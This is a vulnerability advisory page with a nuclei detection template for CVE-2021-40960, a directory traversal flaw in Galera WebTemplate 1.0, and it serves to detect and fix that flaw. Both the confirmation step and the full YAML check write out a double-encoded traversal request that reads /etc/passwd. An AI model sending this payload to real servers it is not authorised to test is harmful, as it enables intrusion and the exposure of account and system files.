Galera WebTemplate 1.0 Directory Traversal

criticalseverity

9.8CVSS score

9.9%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Galera WebTemplate 1.0 is affected by a directory traversal vulnerability that could reveal information from /etc/passwd and /etc/shadow.

Impact

An attacker can read, modify, or delete sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.

Fix

Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Galera WebTemplate 1.0.

How to confirm it

Send: GET {{BaseURL}}/GallerySite/filesrc/fotoilan/388/middle//.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-40960 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-40960

info:
  name: Galera WebTemplate 1.0 Directory Traversal
  author: daffainfo
  severity: critical
  description: Galera WebTemplate 1.0 is affected by a directory traversal vulnerability that could reveal information from /etc/passwd and /etc/shadow.
  impact: |
    An attacker can read, modify, or delete sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Galera WebTemplate 1.0.
  reference:
    - http://www.omrylmz.com/galera-webtemplate-1-0-directory-traversal-vulnerability-cve-2021-40960/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40960
    - http://www.galera.com.tr/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-40960
    cwe-id: CWE-22
    epss-score: 0.0992
    epss-percentile: 0.95624
    cpe: cpe:2.3:a:galera:galera_webtemplate:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: galera
    product: galera_webtemplate
  tags: cve2021,cve,lfi,galera,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/GallerySite/filesrc/fotoilan/388/middle//.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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